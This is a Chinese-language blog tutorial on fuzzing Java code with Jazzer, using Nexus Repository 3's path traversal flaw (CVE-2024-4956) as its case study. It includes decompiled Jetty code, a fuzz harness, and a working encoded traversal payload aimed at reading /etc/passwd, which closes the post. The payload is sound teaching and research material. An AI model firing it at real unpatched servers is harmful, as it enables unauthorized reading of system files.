通过 jazzer 学习 Java Fuzzing:以 Nexus Repository 3 目录穿越漏洞为例

今天看到 X1r0z 师傅发了篇文章,介绍了使用 jazzer 来 fuzz java 漏洞的文章,刚好以前想学习 fuzz 但是没有找到合适的文章,如今可以学习一下。

通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956) - X1r0z Blog (exp10it.io)

准备工作

首先需要安装 docker 。如何安装 docker 就不仔细介绍了。这里给出官网,下载安装就行了。 www.docker.com/get-started...

然后修改 docker 镜像源的方法可以参考我写的文章:juejin.cn/spost/73749...

再通过命令来下载 Nexus 3 的源码:

如果你是 arm64 架构的,就用下面的命令(实际上 nexus3 不支持 arm64 😅,加了也没用),如果不是就去掉 --platform=arm64 参数

js 复制代码
docker pull --platform=arm64 sonatype/nexus3:3.68.0-java8

然后运行镜像:

js 复制代码
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

然后将 Nexus 3 的源码从镜像中复制出来:

js 复制代码
docker cp c8c670eb83c:/opt/sonatype/nexus /Users/sanqiushu/Code_Space/Docker_Space/nexus3

OK,成功复制完成

然后我们新建一个文件夹 all-lib ,然后把所有的 jar 文件都复制到这个文件夹里去。

js 复制代码
find . -name "*.jar" -exec cp {} all-lib/ \;

接着,我们用编辑器打开 nexus 文件夹,并右键 nexus-base-3.68.0-04.jar 添加为 库,这样就可以看到 jar 里的代码了。

很可惜,这个 nexus 没有 arm64 架构的镜像,导致在我电脑上跑不起来,否者可以参考原作者的步骤进行远程调试。

不过我们先不研究如何找漏洞,我们这篇文章重点来研究如何利用 jazzer 进行 java fuzzing。

分析漏洞

因为重点不是如何找漏洞,所以这里直接参考其他师傅的分析来分析漏洞,然后重点是看代码如何写的。

先查看 WebResourceServlet 的 doGet 函数: nexus-base-3.68.0-04.jar!/org/sonatype/nexus/internal/webresources/WebResourceServlet.class

java 复制代码
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // 获取路由后面跟的资源。例如url:/user/someone 所请求的路由是 /user/* ,那么返回的就是 /someone
    String path = request.getPathInfo();

    if (!"".equals(path) && !"/".equals(path)) {  // path_info 不为空字符串,且 不是 /
        if (path.endsWith("/")) {  // path_info 以 / 结尾
            path = path + "index.html";
        } else if ("/index.html".equals(path)) {
            response.sendRedirect(BaseUrlHolder.getRelativePath());
            return;
        }
    } else {  // 如果 path_info 是空字符串、如果 path_info 是 /
        path = "/index.html";
    }
    // 上面的一段表示,path_info 不能为 空字符串、/ 、/index.html 否者直接跳转到首页。
    // 如果是满足这样的正则: /.*/ ,以 / 结尾,则会变为 /.*/index.html

    WebResource resource = this.webResources.getResource(path);  // 获取 resource

    // 下面的一段意思是:如果上面一行没有获取到 resource,那么获取 /.*/index.html 的资源,并跳转,否则直接返回 404
    // 如果直接找到了 resource ,那就直接返回。所以上面这句话很关键。

    if (resource == null) {  // 如果没有获取到
        if (this.webResources.getResource(path + "/index.html") != null) {
            String location = String.format("%s%s/", BaseUrlHolder.getRelativePath(), path);
            log.debug("Redirecting: {} -> {}", path, location);
            response.sendRedirect(location);
        } else {
            response.sendError(404);
        }

    } else {
        this.serveResource(resource, request, response);
    }
}

如果动态跟踪的话,是可以得知 this.webResources.getResource() 调用的是 nexus-base-3.68.0-04.jar!/org/sonatype/nexus/internal/webresources/WebResourceServiceImpl.class 里的 getResource 函数

java 复制代码
public WebResource getResource(String path) {
    this.log.trace("Looking up resource: {}", path);
    WebResource resource = null;

    // dev 模式获取文件
    File file = this.devModeResources.getFileIfOnFileSystem(path);
    if (file != null) {
        resource = new FileWebResource(file, path, this.mimeSupport.guessMimeTypeFromPath(file.getName(), new MimeRulesSource[0]), false);
        this.log.trace("Found dev-mode resource: {}", resource);
    }

    // resourcePaths 模式获取文件
    if (resource == null) {
        resource = (WebResource)this.resourcePaths.get(path);
        if (resource != null) {
            this.log.trace("Found bound resource: {}", resource);
        }
    }

    // servletContext 模式获取文件
    if (resource == null) {
        try {
            // 调用 this.servletContext 的 getResource 方法
            URL url = this.servletContext.getResource(path);
            if (url != null && !this.isDirectory(url)) {
                resource = new UrlWebResource(url, path, this.mimeSupport.guessMimeTypeFromPath(path, new MimeRulesSource[0]));
                this.log.trace("Found servlet-context resource: {}", resource);
            }
        } catch (MalformedURLException var6) {
            throw new RuntimeException(var6);
        }
    }

    return (WebResource)resource;
}

这个函数里写着,nexus3 支持 3 种方式获取 resource 。

第一种 dev 模式,这是开发过程中用到的,默认是空 map,我们如果想要获取 /etc/passwd 肯定是匹配不到东西的。

第二种,resourcePaths 模式,是对 public 目录的一种映射 map,我们如果想要获取 /etc/passwd 肯定也是匹配不到东西的。

那么我们想要获取 /etc/passwd 肯定是走第三条路径。如果可以动态调试的话,那么可以发现这里的 getResource 函数是调用的 org.eclipse.jetty.webapp.WebAppContext 里的 getResource 函数。 那么我们继续跟踪一下。

我们把all-lib/jetty-webapp-9.4.53.v20231009.jar 也右键添加为库(直接将所有 jeety 开头的都加入吧)

java 复制代码
public Resource getResource(String uriInContext) throws MalformedURLException {
    if (uriInContext != null && uriInContext.startsWith("/")) {  // 如果 uriInContext 不为空,且 uriInContext 以 / 开头
        MalformedURLException mue = null;
        Resource resource = null;
        int loop = 0;

        // 查找层数必须小于 100 次
        while(uriInContext != null && loop++ < 100) {
            try {
                // 使用 父类 的 getResource 来查找 资源
                resource = super.getResource(uriInContext);
                if (resource != null && resource.exists()) {
                    return resource;
                }
                
                uriInContext = this.getResourceAlias(uriInContext);
            } catch (MalformedURLException var6) {
                LOG.ignore(var6);
                if (mue == null) {
                    mue = var6;
                }
            }
        }

        if (mue != null) {
            throw mue;
        } else {
            return resource;
        }
    } else {
        throw new MalformedURLException(uriInContext);
    }
}

这里的 super.getResource 指的是/jetty-server-9.4.53.v20231009.jar!/org/eclipse/jetty/server/handler/ContextHandler.class 里的 getResource 函数

java 复制代码
public Resource getResource(String path) throws MalformedURLException {
    if (path != null && path.startsWith("/")) {
        if (this._baseResource == null) {
            // 这里是不为 null 的,在配置文件里有配置,看下面的截图
            return null;
        } else {
            try {
                // 对 路径进行添加和检查
                Resource resource = this._baseResource.addPath(path);
                return this.checkAlias(path, resource) ? resource : null;
            } catch (Exception var3) {
                LOG.ignore(var3);
                return null;
            }
        }
    } else {
        throw new MalformedURLException(path);
    }
}

这里的 this._baseResource 是指jetty-util-9.4.53.v20231009.jar!/org/eclipse/jetty/util/resource/PathResource.class

java 复制代码
public Resource addPath(String subPath) throws IOException {
    // 先用 canonicalPath 函数对路径进行标准化,如果结果为 null ,则抛出异常
    if (URIUtil.canonicalPath(subPath) == null) {
        throw new MalformedURLException(subPath);
    } else {
        // 然后会将原来的 subPath 传入 PathResource 构造函数, 得到一个新的资源路径
        return "/".equals(subPath) ? this : new PathResource(this, subPath);
    }
}

注意 canonicalPath 函数处理的结果并不会传入 PathResource 的构造函数, 也就是说这个过程只是个 check 而不是 sanitize

这个 canonicalPath 方法还是比较复杂的,人脑基本无法分析。。。。那么这个函数是如何进行路径标准化? 在什么情况下会返回 null? 可以通过以下几个 demo 直观地感受一下

java 复制代码
URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null

当传入的路径跳出了当前的根目录时, canonicalPath 会返回 null, 看起来是为了预防目录穿越的情况

那么什么样的 poc 可以通过 canonicalPath 函数的检验,而且可以传入到 new PathResource() 中去构造正确的文件路径呢?

这个时候人脑基本上已经宕机了,所以需要用到 fuzzing 工具来进行爆破了。

Jazzer 工具

直接去 Github 下载:github.com/CodeIntelli... 直接解压即可。

接下来我们要编写 jazzer 的 Test Harness ,也就是控制条件, 我们另写一个项目,然后简单调用一下关键的函数。

代码结构稍有变化,这里看看代码,大概理解意思即可

这整个过程中最重要的就是这个 addPath 函数,因为在这里面进行了 canonicalPath 的判断,和 new PathResource 新建资源的操作。我们直接调用这个 addPath 函数来进行测试。

下面把整个过程中的所有的条件,和 jazzer 的依赖都加入进来

java 复制代码
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;

import java.net.URI;

public class Test {
    public static void fuzzerTestOneInput(FuzzedDataProvider data) {
        String path = data.consumeRemainingAsAsciiString();
        if (!path.startsWith("/")) return;
        if (URIUtil.canonicalPath(path) == null) return;
        if (path.endsWith("/")) return;
        if (!path.endsWith("/etc/passwd")) return;

        try {
            PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
            PathResource child = (PathResource) parent.addPath(path);

            if (child.getPath().normalize().toString().equals("/etc/passwd")) {
                Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
            }
        } catch (Exception e) {
            // ignore
        }
    }
}

因为我们测试的是 java8 环境的依赖,所以这里需要将 jdk 也都调成 java8:

然后使用 Artifacts 配置打包

然后点击 Build -> Build Artifacts -> Build 即可

在 out 目录即可找到导出的 jar 文件

然后使用命令进行 fuzz 即可

js 复制代码
/Users/sanqiushu/Tools/PenTest/0_code_analysis/jazzer-macos/jazzer --cp="TestNexus3.jar" --target_class="Main" -use_value_profile=1

如果系统不允许,去设置 -> 隐私与安全 -> 安全性 里点击允许即可。

然后我使用 java11 版本去运行命令,一会结果就出来了。

但是我用代码简单验证了一下,发现这个 poc 竟然是不对的,后来又跑了两次,才找到一个正确的 poc:

java 复制代码
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;

import java.net.URI;
import java.net.URLDecoder;
import java.net.URLEncoder;

public class Main {
    public static void main(String[] args) {
        try (PathResource parent = new PathResource(new URI("file:///a/b/c/d"));){
            String path = URLDecoder.decode("/''%1b/%8b%2b%5a%47/../..//..//..//..//.//..//..//etc/passwd", "UTF-8");

            PathResource child = (PathResource) parent.addPath(path);
            String result = child.getPath().normalize().toString();

            System.out.println(result);

        } catch (Exception e) {
            // ignore
        }
    }
}

简单调试了一下发现是:

在 canonicalPath 中 对于一个 //.. 结构, /.. 抵消第一个 /

在 normalize 中 对于 /d//.. 结构,//.. 抵消 /d

处理结果的差异导致的问题。

相关推荐
独行soc7 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc9 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee10 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash11 小时前
安全算法基础(一)
算法·安全
云云32111 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云32111 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
xcLeigh11 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
白乐天_n11 小时前
腾讯游戏安全移动赛题Tencent2016A
安全·游戏
光路科技13 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
saynaihe13 小时前
安全地使用 Docker 和 Systemctl 部署 Kafka 的综合指南
运维·安全·docker·容器·kafka